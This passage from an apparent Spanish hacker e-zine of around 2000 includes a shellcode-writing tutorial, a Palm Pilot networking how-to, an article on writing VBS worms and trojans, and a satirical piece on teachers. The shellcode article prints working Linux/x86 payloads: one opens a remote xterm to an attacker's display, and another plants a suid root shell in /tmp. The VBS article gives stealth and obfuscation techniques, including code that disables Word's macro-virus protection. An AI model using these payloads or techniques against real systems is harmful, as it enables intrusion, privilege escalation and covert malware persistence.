solo copiaremos media shellcode en memoria. Por lo tanto siempre tendremos
que andar jugando con registros de valor 0x00 para copiar nulos en memoria.
+ <movb %al,0x7(%esi)>:
Copiamos un un byte nulo a la direccion de memoria %esi+0x7, es decir, a la
direccion justo despues de la 'h'. Quedaria algo como: "/bin/sh0". El nulo se
pone para marcar el final del string.
+ <movl %esi,0x8(%esi)>:
Copiamos la direccion del string a la direccion de memoria %esi+0x8. Quedaria
algo como: "/bin/sh0direccion", donde direccion apunta a "/bin/sh". Lo que
estamos haciendo es preparar el array de punteros que le pasaremos a execve,
lo que acabamos de hacer seria lo mismo que argv[0]="/bin/sh".
+ <movl %eax,0xc(%esi)>:
Copiamos un long nulo a la direccion de memoria %esi+0xc. Ahora seria algo co-
mo: "/bin/sh0direccion0", a diferencia de que el primer 0 es un byte y el se-
gundo 0 son 4 bytes. Acabamos de cerrar argv[] con un nulo. Entonces tenemos:
. argv[0] = "/bin/sh"
. argv[1] = Nulo
Con lo que terminamos el array de punteros.
+ <movb $0xb,%al>:
Copiamos el valor 11 a %al, que es %eax en realidad ya que antes lo habiamos
inicializado a cero con el xorl. El valor 11 es el numero de la syscall de
execve.
+ <movl %esi,%ebx>:
Copiamos la direccion del string "/bin/sh" seguido de un byte nulo (que ya
pusimos previamente) en %ebx. Primer argumento de execve().
+ <leal 0x8(%esi),%ecx>:
Copiamos en %ecx la direccion de memoria %esi+0x8. En dicha direccion lo que
hay q es otra direccion apuntando a "/bin/sh" seguida de un long nulo. Segun-
do argumento de execve().
+ <leal 0xc(%esi),%edx>:
Copiamos en %edx la direccion %esi+0xc, es decir, la direccion de un long nu-
lo. Tercer y ultimo argumento de execve().
+ <int $0x80>:
Llamamos a la syscall por medio de la interrupcion 0x80. Si todo funcionara
correctamente no haria falta mas codigo, pero por si el execve falla es con-
veniente aadir un exit(0). Eso es lo que vamos a hacer a continuacion.
+ <xorl %eax,%eax>:
Ponemos %eax a cero.
+ <xorl %ebx,%ebx>:
Idem con %ebx. Primer y ultimo argumento de exit().
+ <inc %eax>:
Incrementa %eax, que pasara a tener el valor 1 ya que antes lo habiamos ini-
cializado a cero. El valor 1 es el numero de syscall de exit.
+ <int $0x80>:
Llamamos a la syscall por medio de la interrupcion 0x80.
Fin :).
------------------------------------------------
// 5.- 'Codeando' una shellcode de varios args
------------------------------------------------
Retomemos.. XD
+ <jmp 0x1f>:
Saltar al call, esto funciona exactamente que el ejemplo anterior (como casi
todo).
+ <popl %esi>:
Idem de lo mismo, salvar el valor del string "/bin/ls0-l0-a" en %esi.
+ <xorl %eax,%eax>:
Poner %eax a cero.
+ <movb %al,0x7(%esi)>:
Poner un byte nulo en la direccion de memoria %esi+0x7, es decir, el string
quedaria: "/bin/ls(nulo)-l0-a", y el cero que habia antes se pierde.
+ <movb %al,0xa(%esi)>:
Poner un byte nulo en la direccion de memoria %esi+0xa. El string quedaria:
"/bin/ls(nulo)-l(nulo)-a".
+ <movb %al,0xd(%esi)>:
Idem, nulo en %esi+0xd, el string quedaria: "/bin/ls(nulo)-l(nulo)-a(nulo)".
+ <movl %esi,0xe(%esi)>:
Copia el valor de %esi en la direccion de memoria %esi+0xe. Con esto empeza-
mos a crear el array de punteros *argv[], y le asignamos a argv[0] la dire-
ccion de memoria del string "/bin/ls". La memoria despues de esto tendria
este aspecto:
/bin/ls(nulo)
-l(nulo) -> Se entiende que va
-a(nulo) todo seguido.
(dire de '/bin/ls')
+ <leal 0x8(%esi),%edi>:
Cargamos la direccion de memoria %esi+0x8 en el registro %edi. La razon de
usar un registro intermedio (%edi), es que no podemos copiar el valor de un
registro mas un numero en una direccion de memoria que venga definida por el
valor de un registro mas otro numero. Es decir, "movl 0x1(%esi),0x2(%esi)"
por ejemplo no seria valido, hay que usar un registro intermedio, en este
caso usamos %edi. La direccion %esi+0x8 corresponde a '-l'.
+ <movl %edi,0x12(%esi)>:
Copiamos el valor de %edi en la direccion de memoria %esi+0x12. El 0x12 es
el resultado de sumar la direccion del anterior argumento + 4, ya que una
direccion de memoria ocupa 4 bytes. En este caso la direccion anterior es
0xe(%esi), por lo tanto ahora copiaremos la segunda direccion (argv[1]) en
0x12(%esi), para tener las direcciones seguidas en memoria y formar asi el
array de punteros *argv[]. La memoria sera ahora algo asi:
/bin/ls(nulo)
-l(nulo)
-a(nulo)
(dire de '/bin/ls')
(dire de '-l')
+ <leal 0xb(%esi),%edi>:
Cargamos la dire %esi+0xb en %edi, es decir, cargamos la dire de '-a'.
+ <movl %edi,0x16(%esi)>:
Copiamos la dire en %esi+0x16. Memoria:
/bin/ls(nulo)
-l(nulo)
-a(nulo)
(dire de '/bin/ls')
(dire de '-l')
(dire de '-a')
+ <movl %eax,0x1a(%esi)>:
Ponemos un long nulo en %esi+1a para marcar el final del array de punteros
*argv[]. No hace falta que lo ponga pero bueno.. lo pongo igual jeje.
/bin/ls(nulo)
-l(nulo)
-a(nulo)
(dire de '/bin/ls')
(dire de '-l')
(dire de '-a')
(Long nulo)
+ <movb $0xb,%al>:
Poner el valor 0xb (11) en %eax, perteneciente a la syscall de execve.
+ <leal 0xe(%esi),%ecx>:
Cargar en %ecx la direccion de *argv[], con las direcciones de todos los
argumentos a ejecutar.
+ <leal 0x1a(%esi),%edx>:
Cargar un long nulo en %edx.
+ <int $0x80>:
Ejecutar la interrupcion 0x80 para llamar a la syscall.
Lo siguiente es la llamada a exit(0) por si falla el execve, que como es
exactamente igual que en el ejemplo anterior paso de cometarlo. Bueno, y
ya tenemos la shellcode lista, ahora veamos como se pasa a un string..
---------------------------------------
// 6.- Pasando el codigo a un string
---------------------------------------
-----------------------------------
// 7.- Comprobando una shellcode
-----------------------------------
[Shellcode]
+--------------+
| PILA |
+==============+
| ret | # 4 bytes
+--------------+
| ebp | # 4 bytes
+--------------+
| direccion | # 4 bytes
| de retorno |
+--------------+
[Shellcode]
+--------------+
| PILA |
+==============+
| ret | ---+ # 4 bytes
+--------------+ |
| ebp | | # 4 bytes
+--------------+ |
| direccion de | | # 4 bytes
| [shellcode] | <--+
+--------------+
Con lo que conseguimos ejecutar la shellcode. Lo malo de este codigo es que cada
vez que queramos testear una scode tendremos que pasarla primero a string, y si
esto lo hacemos manualmente podemos llegar a perder mucho tiempo en cada testeo.
Por lo tanto lo mejor seria usar este otro codigo:
Con esto conseguimos el mismo efecto que antes pero sin tener que pasar la
shellcode a un string, ya que el codigo lo hace automaticamente mediante un
strcpy.
-----------------
// 8.- Sources
-----------------
Aqui pego dos codigos de shellcodes echas por mi. La primera ejecuta un xterm
remoto, comprobando el tamao de la ip, pudiendo cambiar una ip por otra sin
problema. La orden exacta que ejecuta es "xterm -ut -display ip:0". Para ha-
cer la comprobacion simplemente usa un bucle que va comprobando byte a byte
hasta que encuentra el caracter 'K', cuando lo encuentra lo cambia por un nulo
que marca el final del string, y por tanto del argumento del execve.
La segunda lo que hace es copiar "/bin/sh" a "/tmp/katy" y luego darle suid con
el uid del usuario que ejecuto la shellcode, si es root pues root. Para ello
usa fork() y wait_pid() ejecundo cada proceso por separado. El proceso hijo
hace un execve de "/bin/cp /bin/sh /tmp/katy". Como es la shellcode la que se
encarga de ejecutar el 'copy', el fichero "/tmp/katy" tendra como owner el uid
del proceso que ejecuto la shellcode.. Si por ejemplo la shellcode la ejecuto
un proceso que estaba corriendo con suid de root "/tmp/katy" sera algo como:
-rw-r--r-- 1 root root 5489 Oct 18 22:13 katy
Mientras tanto el proceso padre estara esperando que termine la ejecucion del
proceso hijo por medio de una llamada a la funcion/syscall wait_pid. Cuando eso
ocurra el proceso padre hara un chmod a 'katy', por medio de la syscall chmod,
para que el fichero quede algo como esto:
-r-sr-xr-x 1 root root 5489 Oct 18 22:13 katy
Es decir, al final "/tmp/katy" sera una copia de "/bin/sh", con la particulari-
dad de tener suid de root (en nuestro caso hipotetico).
Salta a la vista que la primera shellcode (xterm.c), es mas practica para
xploits remotos, mientras que la segunda (sh_tmp.c) lo es para xploits locales.
Para extraer ambas shellcodes a archivos por separado no teneis mas que ejecutar
"./nextract 0x04.txt". Se copiaran en los ficheros xterm.c y sh_tmp.c respectiva
-
mente, dentro del directorio "./shellcodes/".
-=-=-=-=-=-=-=-=-=-=-=-=-=-= Shellcodes -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
char shellcode[] =
"\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b"
"\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88"
"\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d"
"\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e"
"\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xac\xff\xff\xff"
"/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K";
/* Code */
/*
__asm__("
jmp 0x4f
popl %esi
xorl %edx,%edx
movb %dl,0x14(%esi)
movb %dl,0x18(%esi)
movb %dl,0x21(%esi)
movb $0x2b,%dl
xorl %ecx,%ecx
movb $0x9,%cl
cmpb $0x4b,(%edx,%esi)
je 0x5
inc %edx
loop -0x9
jmp 0x2b
movb %dh,(%edx,%esi)
xorl %edx,%edx
movl %esi,%ebx
movl %esi,0x36(%esi)
leal 0x15(%esi),%edi
movl %edi,0x3a(%esi)
leal 0x19(%esi),%edi
movl %edi,0x3e(%esi)
leal 0x22(%esi),%edi
movl %edi,0x42(%esi)
movl %edx,0x46(%esi)
leal 0x36(%esi),%ecx
leal 0x46(%esi),%edx
xorl %eax,%eax
movb $0xb,%eax
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x54
.string \"/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K\"
");
*/
/* RaiSe */
<-->
<++> shellcodes/sh_tmp.c $1593e815df1d94dd70c6c1a8b1d17d31
/*
* Linux/x86
*
* /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork()
*/
char shellcode[] =
"\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f"
"\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"
"\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80"
"\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0"
"\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31"
"\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80"
"\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/katy";
/* Code */
/*
__asm__("
jmp 0x5e
popl %edi
xorl %eax,%eax
movb %al,0x7(%edi)
movb %al,0xf(%edi)
movb %al,0x19(%edi)
movl %edi,0x1a(%edi)
leal 0x8(%edi),%esi
movl %esi,0x1e(%edi)
xorl %esi,%esi
leal 0x10(%edi),%esi
movl %esi,0x22(%edi)
movl %eax,0x26(%edi)
movl %edi,%ebx
leal 0x1a(%edi),%ecx
leal 0x26(%edi),%edx
xorl %eax,%eax
movb $0x2,%al
int $0x80
xorl %esi,%esi
cmpl %eax,%esi
jne 0x6
movb $0xb,%al
int $0x80
jmp 0x1d
xorl %edx,%edx
xorl %eax,%eax
xorl %ebx,%ebx
dec %ebx
leal 0x26(%edi),%ecx
movb $0x7,%al
int $0x80
xorl %eax,%eax
leal 0x10(%edi),%ebx
xorl %ecx,%ecx
movw $0x96d,%cx
movb $0xf,%al
int $0x80
xorl %eax,%eax
inc %eax
xorl %ebx,%ebx
int $0x80
call -0x63
.ascii \"/bin/cp8/bin/sh8/tmp/katy\"
");
*/
/* RaiSe */
<-->
-----------------------
// 9.- Notas finales
-----------------------
Bueno, y esto ha llegado a su fin. Como anecdotas mencionar que SI, la ver-
sion de gdb del paste si es la que pone, es que en el momento de escribir el
articulo lo hacia sobre un 486 con Redhat 4.2 :). Y lo de copiar la shell al
fichero "/tmp/katy" os imaginais porque el nombrecito,no?.. (she is my pretty
girlfriend, hehe).
Pues nada mas, nos vemos. Sed buen@s ;).
RaiSe
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
INTRODUCCION
---------------
Alla por marzo del 96 la compaia 3com se invento una aparatito de lo mas
curioso que cumplia perfectamente las labores de la agenda electronica
aparecida aos antes (vease casio) pero que ademas iba mas alla con
caracteristicas mas acercadas a las necesidades de hoy en dia. La politica le
ha funcionado bien, porque el numero de ventas de Palms se ha ido incrementando
notablemente, al igual que se han ido ampliando las posibilidades y
caracteristicas de estos dispositivos.
Una de las posibilidades mas grandes que ofrecen las palm pilot es su
posibilidad de interconexion independientemente del Hardware o OS
el que la deseemos conectar. Si alguien sabe de las mismas posibilidades con
pocketwin que me envie un email.
Los textos sobre palm pilot (& howto's) que podemos encontrar por ahi, en su
mayoria en ingles, nos tocaran temas muy concretos. Basados principalmente en
instalacion & programacion de aplicaciones sobre palm. Por lo que echando un
detenido vistazo me he decantado por este texto (mini-howto a fin de cuentas)
sobre interconexion de la palm, mucho menos documentado en ingles y casi cero
en castellano.
SINCRONIZACION
---------------
Una de las posibilidades inicales que ha traido palm desde siempre ha sido el
proceso de sincronizacion. Es el proceso mediante el cual es posible
realizar instalacion & backups de la palm al ordenador y viceversa mediante
el cradle o base.
No existe ningun misterio bajo plataforma windows, mas que nada porque el
software que trae la propia palm en su caja, ya es mas que suficiente para
abastecer todas las necesidades de sincronia de la palm. Ademas en la
propia pagina de Palm (http://www.palm.com) esta disponible todos los updates
de este sofware para plataformas windows.
El tema se vuelve un pelin mas exigente para plataformas Linux y FreeBSD.
Para ambos existen un paquete de utilidades+librerias para una correcta
sincronizacion, tanto en modo consola como en modo grafico.
No he probado utilidades como Kpilot (http://www.slac.com/pilone/kpilot_home/)
y similares sobre entorno grafico. Lo que si esta claro es que ofrecen mayor
comodidad y ciertas mejoras sobre las de consola. Entre ellas la posibilidad de
realizar la mayoria de las operaciones desde un mismo programa (no asi en
consola). Y la posibilidad de dejar en segundo plano un applett que reconozca
la pulsacion del boton de sincronia de la base y realice el proceso
automaticamente.
Para consola en este apartado tenemos las pilot-link
(ftp://ryeham.ee.ryerson.ca/pub/PalmOS/).
Un paquete de herramientas bastante completo. El problema es que segun lo que
queramos hacer necesitaremos de un programa u otro. Aunque las posibilidades
son practicamente, quitando algunos detallitos, las mismas que sobre la
plataforma windows.
Para informacion mas detallada sobre las pilot-link hay ya que leerse las man
(man pilot-link) una vez instalado el paquete. Existe tambien el port con
el patch para versiones de FreeBSD q funciona correctisivamente.
Solo nombrar aki un par de detalles facilmente pasables por alto. A partir del
Palm OS 3.3 la sincronia se puede realizar a una velociadad de 57600. En
windows accediendo a un simple menu es posible variar la velocidad. Para linux
y FreeBSD hay que asignar un valor a una variable de entorno:
export PILOTRATE=57600 (o la velocidad que deseemos)
El segundo es tambien para plataformas linux & FreeBSD. Es muy recomendable
un simbolico al serie donde tengamos la palm metida:
Linux:
ln -s /dev/pilot /dev/ttyS0 (o ttyS1)
FreeBSD:
ln -s /dev/pilot /dev/ttyd0 (o ttyd1)
CONEXION PPP
-------------
La palm lleva una pila TCP/IP bastante resumida pero con enormes posibilidades
y ademas es capaz de soportar conexiones punto a punto. Ya sea con un modem,
a traves de IR (IRDA) sobre un movil (o portatil) o bien al serie de otro
equipo.
La interconexion de la palm al movil/modem nos da la posibilidad de acceder a
cualquier sitio desde cualquier lugar que nos encontremos mientras tengamos
cobertura. Existen clientes de telnet, web, wap, vnc, correo.... para poder
consultar lo que queramos.
La interconexion de la palm desde otro ordenador por ejemplo es mas discutida.
Para que queremos usar la palm, si ya tenemos el ordenador? Pues nunca se sabe.
En casa de un amigo que el tio esta ocupando el ordenador todo el rato. O en
una party o en una reunion.... el caso es que tenemos un acceso transparente
desde ese ordenador al resto de la red o internet.
Y ahora nos vamos a centrar en este segundo punto:
Si, ya se que he dejado pasar todo. Pero es que no me quiero enrollar ahora
explicando rules y tal. Que cada uno se lo haga a medida.
Y ahora ya podemos ejecutar el pppd al serial. Funciona exactamente igual que
en linux. Por lo que la opcion seria (mas info ver seccion linux):
pppd /dev/pilot 57600 :ipdepalm local crtscts passive proxyarp noauth
Y con esto, la palm deberia de funcionar perfectamente. Salvo follones con las
rutas estaticas del route. Estad atentos. Pero ya digo que deberia de
funcionar. Solo le hace falta el connect de la palm para que se conecte.
CURIOSIDADES
-------------
Una vez conectada la palm al ordenador, en plataformas windows no permite
encontrar la palm como un dispositivo a parte del propio windows.
Sin embargo , no ocurre igual desde el resto de plataformas.
En el resto de plataformas (entiendase Linux y FreeBSD) al asignarle una ip
e incluso una direccion MAC a la palm, esta se considera como un dispositivo
aparte, puediendose acceder a traves de la ip. Esto nos permite usar scaneos,
pings, traceroutes y cualquier otra utilidad de red contra la palm. Y es
entonces cuando nos encontramos con las cosas mas curiosas.
Es divertido ver como un traceroute desde la RH pasa por la FreeBSD y
llega hasta la palm. O el camino contrario, Ver como la palm accede al IRC
desde la FREEBSD pasando por NAT por la RH.
Ejemplillo?:
NOTESE que estoy desde quasar (RH) pasa por nekroid (FreeBSD) y llega a
INET.
[root@quasar ~]# traceroute palm
traceroute to palm.undersec.org (192.168.2.5), 30 hops max, 38 byte packets
1 nekroid (192.168.2.4) 2.212 ms 1.129 ms 1.233 ms
2 palm (192.168.2.5) 35.443 ms 36.549 ms 34.745 ms
[root@quasar ~]#
Mas cosillas. La palm es ahora un terminal en la red y claro, soporta tcp.
MMMMMmm... sera nukeable?. Correcto si. Cualquier nuke con igmps o flood deja
la palm completamente tostada!. La pila TCP/IP no es ninguna maravilla y claro
sale a relucir. De hecho, hasta un scanneo de fingerprints del nmap la deja
tostada.
Hablando de tostamientos, recomiendo la utilidad crash.prc que detecta un crash
y resetea la palm en caliente por ti, sin darle la vuelta y darle al
boton de reset. Busquese la susodicha utilidad en http://www.palmgear.com
por ese mismo nombre.
Podria seguir explicando cosillas, como lo de las passwords vulnerables en
el backup de la palm en el file Unsaved_Preferences.prc pero casi que esto
es otra historia.... ;)
CONCLUSIONES
--------------
El bichito llamado palm es una maravilla y eternamente flexible aunque debe
quedar claro que esta concebida como agenda personal y nunca hay que olvidar
esa idea.
Las pruebas han dado siempre resultado positivo. Se realizaron con los
los elementos indicados a continuacion:
Palm V - Palm OS 3.3
FreeBSD 4.0 STABLE
Linux Debian 2.2.17
AGRADECIMIENTOS Y SALUDOS
--------------------------
Pues tengo que agradecer eternamente aquellas primeras pruebas que se hicieron
en la benagua party con el superportatil a Pope.
Tengo que agradecer casi el resto de las pruebas sobre Linux a Sp4rk y su
Debian chunga cuando la Hackmeeting.
Tengo que agradecer a mi madre que me diera pelas para poder ir a los sitios
anteriores y poder haber hecho las pruebas.
Y tengo que agradecer a personas mas indirectas el dar animos cuando estas en
momentos de bajon y sin ganas de hacer nada... Neko^_^ , Raise :*
Y ahora los saludos: UNDERSEC :* (http://www.undersec.com) & Netsearch
(http://www.netsearch-ezine.com) ..... guarris!
DESPEDIDA
-----------
Espero que el articulo sirva a muchas personas y contribuya para que alguien
no se tenga que dejar los cuernos mas....ya me los he dejado yo.
Para cualquier sugerencia o duda estoy en: quasar@netsearch-ezine.com hasta que
me vuele el correo.
Ta otra....
----
25 - Octubre - 2000
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
===== [ De como este pseudo-SO nos ofrece todo lo necesario para comprometer
su propia seguridad (nada nuevo). ]
El ultimo gusano "de moda" ha sido el Life Stages. Este virus aprovecha otra
vulnerabilidad de nuestro querido Windows. Se trata de utilizar el Shell Scrap
de Windows. Se trata de una posibilidad bastante util que permite empaquetar
varios archivos de proceso por lotes en uno solo. El fallo esta en que por
defecto, la extension de estos archivos (SHS) nunca se mostrara, aunque
tengamos activado el Mostrar Extensiones. Esto se debe a la siguiente clave del
registro (que viene por defecto :P):
HKEY_CLASSES_ROOT\ShellScrap\NeverShowExt
Para solucionarlo no hay mas que renombrar esta clave por:
HKEY_CLASSES_ROOT\ShellScrap\AlwaysShowExt
=-=-= [ Scripting.FileSystemObject ]
Este objeto contiene diversos metodos que nos permiten leer, y escribir en
los dispositivos de almacenamiento masivo de la maquina.
Set ManipulacionHD = CreateObject("Scripting.FileSystemObject")
Para leer:
variable = MiArchivo.ReadLine()
(el contenido de la variable seria "Esta es la primera linea del archivo")
Una vez terminada la secuencia, debemos cerrar el archivo para lectura
escritura.
MiArchivo.Close()
=-=-= [ WScript.Shell ]
Este objeto nos permite ejecutar programas y acceder al registro.
Set MiShell = CreateObject("WScript.Shell")
MiShell.Run "path/del/binario","0"
El 0 indica que se debe ejecutar en segundo plano.
y para leer:
variable = MiShell.ReadReg("HKEY_...\ruta\clave")
(el contenido de "variable" seria "Contenido")
Ejecutar.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\
Options\EnableMacroVirusProtection" , "0"
En DraZler (el troyano que adjunto al final de este articulo) se vale del
registro para ocultarse a los ojos del usuario de una forma bastante curiosa.
Se trata de cambiar el puntero de trabajo en segundo plano por el mismo que
tiene como puntero normal. De esta forma, puede estar realizando tareas (en
este caso la de conectar una y otra vez a un ftp) sin que el puntero cambie
cada 5 segundos.
Muchas veces el VBS se nos queda corto para nuestras necesidades, y quiza un
ejecutable lo solucionase, pero tenemos un problema. La gran mayoria de los
usuarios no tienen un compilador de C u otro lenguaje instalado en su maquina,
y aunque lo tuviese, lo mas seguro es que no conociesemos la ruta de dicho
compilador, por lo que seria inutil intentar volcar un codigo fuente para
compilarlo alli, como seria posible en *NIX. Pero hay una solucion que he
comentado anteriormente (Ver NetSearch Ezine No. 2). Se trata de utilizar el
debug del DOS para convertir el codigo hexadecimal de nuestro ejecutable en un
binario.
Ahora comentare para que lo he utilizado yo en DraZler. Cuando ejecutamos un
programa basado en MSDOS, normalmente se abre una "shell". En el caso de
DraZler, yo necesito utilizar un Batch con un bucle infinito, lo que abre esa
ventana, y lo hace totalmente visible al usuario. Para ello, se me ocurrio
utilizar un acceso directo que apuntase a ese Batch. Si edito las propiedades
de ese acceso directo puedo hacer que no salte la ventana, y activar ciertas
opciones muy utiles, como la de que no avise de que hay un programa MSDOS
corriendo en la maquina al apagar el sistema. Pero... como creo un acceso
directo en una maquina a la que no tengo acceso fisico? Pues muy sencillo, creo
el acceso directo en mi maquina, lo convierto en codigo hexadecimal, y lo
vuelco en la maquina remota mediante un script VBS y debug (ver DraZler).
==== [ Encriptacion ]
Dado que VBS es un script, el codigo siempre puede ser leido editando el
archivo. Para poner las cosas mas dificiles, siempre podemos utilizar una
pequea funcion que lo oculte, aunque si el que lo edita es un poco avispado no
tendra ningun problema para descifrarla ;)
Con este sencillo programa podemos codificar una a una las lineas de nuestro
virus, de forma que solo seran secuencias numericas. Hay que decir que algunas
funciones de un script no se pueden codificar o no seran interpretadas
correctamente.
Una vez tenemos nuestro virus codificado totalmente, solo tenemos que hacer
una funcion que decodifique cada una de las lineas y la interprete como si no
estuviese codificada.
Function Dec(Code)
For Count = 1 To Len(Code) Step 3
If Count = 1 Then
DCode = Chr(Mid(Code,Count,3))
Else
DCode = DCode & Chr(Mid(Code,Count,3))
End If
Next
End Function
En fin, despues de este culebron de mierda que acabo de escribir (joder, son
las 4 de la maana y tengo que levantarme a las 7:30 para ir a clase. Que
esperabais? :P ), solo queda que vosotros mismos veais como funciona este
bichejo. Solo comentar que este es el codigo para infectar la maquina, y que de
ir adjunto en un HTML o en un email para Outlook tiene que ser modificado para
adaptarlo. Por favor, no lo utiliceis, solo es una ilustracion de este
articulo, ademas, posee un fallo que hara sospechar a la persona infectada :P
{[ drazler.vbs ]}
+--------------------------------------------------------------------------+
| [Editor: Normalmente no metemos nada en el Ezine que pase de las 80 |
| columnas, pero este caso es especial, ya que es imposible |
| partir el codigo sin perder parte de su legibilidad. Por ese |
| motivo hemos decidido hacer una excepcion e incluirlo dentro |
| del propio articulo. |
+--------------------------------------------------------------------------+
Nada mas, saludos a toda la pea, y a leer, que son dos dias.
MoebiuZ <moebiuz@netsearch-ezine.com>
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
{[ Critica ironica ]}
-------------------------------------------
l Mi profe de Informatica l
-------------------------------------------
[ Basado en un caso real ]
En este texto voy a intentar explicar los metodos y las pruebas a seguir
para diferenciar si nuestro profesor de informatica es un 'ententido' o es
el tipico 'paleto de turno'. Da igual que estes en el instituto, en clase
particular o la universidad, todos los especimenes analizados se comportan
de forma similar sin importar el sitio o institucion en el que se
encuentren.
Prueba 1:
^^^^^^^^^^^
Esta es la prueba que mas nos llamara la atencion, y es que nada mas que
entre el profesor por la puerta te daras cuenta de una forma impactante, es
lo que llamaremos: "Cara capullo" o "Vaya feo que eres". Cuando un individuo
presenta esta caracteristica se diferencia del resto de las personas por
unos rasgos especiales en su cuerpo, normalmente en la cabeza y cara. No se
sabe a ciencia cierta porque todos presentan esta fisionomia, quizas
desciendan todos del mismo primate, lo que explicaria sus similares y torpes
comportamientos a la hora de explicar algo. Mas o menos esta peculiaridad se
resume en que la cara del individuo parece sacada de un reportaje de
chimpances..
Prueba 2:
^^^^^^^^^^^
Otra prueba inherente de que nos encontramos ante un autentico paleto "pura
raza" es su forma de vestir, normalmente tendra un estilo propio hortera
total. Uno se pregunta donde se deja el hombre el gusto cuando va a comprar
ropa.. Un ejemplo tipico suele ser camiste/polo ajustada marcando
michelines, acompaado de un pantalon color beis y unos calcetines que no
suelen pegar nada con los zapatos. Y esto es solo la ropa, del corte de pelo
mejor no hablar..
Prueba 3:
^^^^^^^^^^^
Otra caracteristica que los distingue a distancia es su gesticulacion con
las manos y brazos durante una explicacion. El individuo en particular suele
emocionarse de tal manera con lo que esta contando que empieza a
contorsionar la parte superior del cuerpo de forma que parece que esta
dirigiendo el trafico en la Gran Via. Sus movimientos de manos son
constantes, debe ser que se toma algo antes de clase porque aguantar 2 o 3
horas asi seguidas tiene merito.. Mano pa'alante, mano pa'atras, movimientos
en circulos, giros de 180 grados.. su repertorio no suele tener desperdicio.
Prueba 4:
^^^^^^^^^^^
Cuando llegamos a este punto su identificacion como "paleto" suele ser ya
inmediata, me estoy refiriendo por supuesto a su nivel de ingles.
Normalmente el personaje tiene peor pronunciacion que su padre/madre que
vivio toda su vida en el pueblo entre vacas y ovejas. Pero claro.. eso no es
problema para el, ya que cuando tiene que pronunciar una palabra un tanto
compleja usa un truco infalible: pronuncia la palabra de unas 3 o 4 formas
distintas, asi no hay lugar para el error. Un claro ejemplo es por ejemplo
la palabra "interface", el individuo diria algo como: "y aqui tenemos el
interfaze.. o interfeis.. o interfaz.. o interfiss..", como es obvio con
alguna de las pronunciaciones acertara.
Prueba 5:
^^^^^^^^^^^
Esta es una de las pruebas que tiene relacion directa con su forma de
hablar, y se caracteriza por el uso constante (y cuando digo constante me
refiero a unas 5 veces cada 10 sg) de las tipicas coletillas. Hay varios
tipos de coletillas.. tenemos al tipico que habla asi: "esto es un disco
duro.. es decir.. sirve para almacenar datos.. es decir.. bytes.. es decir..
bits.. es decir.. que estaba diciendo?.. es decir.. me estoy meando.. es
decir.. adios..". Tambien tenemos al tipico que cada poco intenta
autoconvencerse a si mismo de lo que esta diciendo por medio de una pregunta
retorica. Tambien suele usar ruidos extraos para evitar las pausas que
surgen entre frase y frase. Este caso seria algo como: "un disco
duro..eh!..sirve para almacenar..mmm..bytes..eh!..dentro de
unas..mmm...pistas..eh!...en las cuales...mmm...eh!..eh!..mmm...mmm...eh!..
ya me perdi.. me cago en la leche!".
Prueba 6:
^^^^^^^^^^^
Para darse cuenta de esta caracteristica, muy comun por cierto, hay que
observar detenidamente al sujeto cuando esta explicando algo, me estoy
refiriendo a los "tics". Un caso muy normal es, si el profesor lleva gafas,
estar tocandolas continuamente; dice frase, limpia gafa, dice frase, toca
gafa, dice frase, limpia gafa, etc. Otro caso bastante comun es el
"tembleque de pierna", y consiste en un pequeo temblorcillo que le empieza
en el pie y le acaba en la parte superior de la pierna. Suele ir pasando de
pierna a pierna, tiembla una, tiembla otra, tiembla una, tiembla otra, y asi
sucesivamente. Pero sin duda el mas corriente de la especie es el
"manipulamiento de boli", tambien llamado "suelta el boli de una p.vez que
me estas poniendo nervioso". Este tic consiste en coger el boligrafo en medio
de la explicacion y empezar a manosearlo, sobarlo, darle vueltas, quitarle
la tapa, volversela a poner, y cualquier movimiento imaginable y que
permitan las reglas de la fisica con el mismo. La verdad es que es bastante
molesto para el alumno.
Prueba 7:
^^^^^^^^^^^
Si su profesor cumple todas pruebas hasta aqui, lo mas problable es que esta
tambien la cumpla, la del dictado. Aqui la regla es general; todos, a la
hora de dictar un texto a los alumnos van improvisando sobre la marcha. El
resultado es que al acabar de copiar un parrafo te pones a leerlo y no
entiendes absolutamente nada. Los errores mas comunes son frases sin
sentido, puntos que no deberian ir ahi, verbos mal conjugados, etc. Lo
gracioso es cuando tu te lo empollas asi, lo pones calcado en un examen y el
profe te dice que primero aprendas a redactar porque no tienes ni pajolera
